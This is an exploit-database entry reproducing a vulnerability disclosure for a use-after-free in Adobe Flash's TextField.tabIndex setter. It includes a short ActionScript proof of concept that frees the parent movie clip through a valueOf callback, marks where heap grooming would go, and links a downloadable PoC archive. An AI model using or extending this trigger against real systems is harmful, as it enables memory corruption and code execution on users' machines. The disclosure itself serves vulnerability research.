Adobe Flash TextField.tabIndex Setter - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=574
 
There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:
 
var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};
 
function func(){
    if(times == 0){
        times++;
        return;
        }
    mc.removeMovieClip();
     
        // Fix heap here
 
    return 0x77777777;
     
    }
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39054.zip

#  0day.today [2018-01-05]  #